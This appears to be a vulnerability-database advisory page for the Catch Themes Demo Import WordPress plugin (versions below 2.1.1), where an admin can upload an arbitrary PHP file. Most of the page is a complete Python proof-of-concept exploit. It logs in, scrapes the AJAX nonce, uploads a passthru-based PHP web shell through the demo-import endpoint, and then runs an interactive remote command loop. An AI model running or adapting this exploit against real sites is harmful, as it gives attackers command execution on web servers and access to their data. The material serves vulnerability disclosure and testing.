Lucene search

K
wpexploitQerogramWPEX-ID:2239095F-8A66-4A5D-AB49-1662A40FDDF1
HistoryFeb 07, 2022 - 12:00 a.m.

Catch Themes Demo Import < 2.1.1 - Admin+ Remote Code Execution

2022-02-0700:00:00
qerogram
376

0.001 Low

EPSS

Percentile

42.9%

The plugin does not validate one of the file to be imported, which could allow high privivilege admin to upload an arbitrary PHP file and gain RCE even in the case of an hardened blog (ie DISALLOW_UNFILTERED_HTML, DISALLOW_FILE_EDIT and DISALLOW_FILE_MODS constants set to true)

# Author : qerogram

import requests, os, hashlib

BASE_URL = "http://localhost:8000"
id = "wordpress"
pw = "wordpress"

def generateFileName() :
    sha1 = hashlib.sha1()
    sha1.update(os.urandom(32))
    return sha1.hexdigest()

def login(id, pw) :
    sess = requests.Session()
    sess.post(
        BASE_URL + "/wp-login.php",
        data = {
            'log': id,
            'pwd': pw,
            'wp-submit': '%EB%A1%9C%EA%B7%B8%EC%9D%B8',
            'testcookie': '1'
        }
    ).text
    
    return sess

def init(sess, wp_nonce) :
    # we need a reset task! 
    # Because, if not installed redux plugin, occurs upload error!
    sess.post(
        BASE_URL + "/wp-admin/admin-ajax.php",
        data = {
            "action" : "ctdi_import_demo_data",
            "content_file" : "undefined",
            "customizer_file" : "undefined",
            "selected" : "undefined",
            "security" : wp_nonce,
        },
        files = {
            "widget_file" : (f"{generateFileName()}.json", "{'11':'22'}"),
        },

        proxies = {"http":"http://localhost:8080"}
    )

    sess.post(
        BASE_URL + "/wp-admin/admin-ajax.php",
        headers = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryUHxlgT04VAl3uVr9"},
        data = f"""------WebKitFormBoundaryUHxlgT04VAl3uVr9
Content-Disposition: form-data; name="action"

ctdi_after_import_data
------WebKitFormBoundaryUHxlgT04VAl3uVr9
Content-Disposition: form-data; name="security"

{wp_nonce}
------WebKitFormBoundaryUHxlgT04VAl3uVr9--""",
    )


def exploit(sess) :
    check = sess.get(
        BASE_URL + '/wp-admin/themes.php?page=catch-themes-demo-import'
    ).text
    nonce = check[check.find('ajax_nonce":') + 13:]
    wp_nonce = nonce[:nonce.find('"')]
    FileName = generateFileName()[:20]

    init(sess, wp_nonce)

    sess.post(
        BASE_URL + "/wp-admin/admin-ajax.php",
        data = {
            "action" : "ctdi_import_demo_data",
            "content_file" : "undefined",
            "customizer_file" : "undefined",
            "selected" : "undefined",
            "security" : wp_nonce
        },
        files = {
            "widget_file" : ("test4.json", "{'11':'22'}"),
            "redux_file" : (f"{FileName}.php", "<?php echo(passthru($_GET['qerogram']));?>"),
        },
    )

    return FileName

def getShell(sess, FileName) :
    import datetime
    n = datetime.datetime.now()

    while True :
        cmd = input("$ ")
        if cmd.lower() == "exit" or cmd.lower() == "quit"  : 
            sess.get(
                BASE_URL + f"/wp-content/uploads/{n.year}/" + ("%02d" % n.month) + f"/{FileName}.php",
                params = {"qerogram" : f"rm {FileName}.php"}
            )
            break

        res = sess.get(
            BASE_URL + f"/wp-content/uploads/{n.year}/" + ("%02d" % n.month) + f"/{FileName}.php",
            params = {"qerogram" : cmd}
        )
        print(res.text)

sess = login(id, pw)
FileName = exploit(sess)
getShell(sess, FileName)

0.001 Low

EPSS

Percentile

42.9%

Related for WPEX-ID:2239095F-8A66-4A5D-AB49-1662A40FDDF1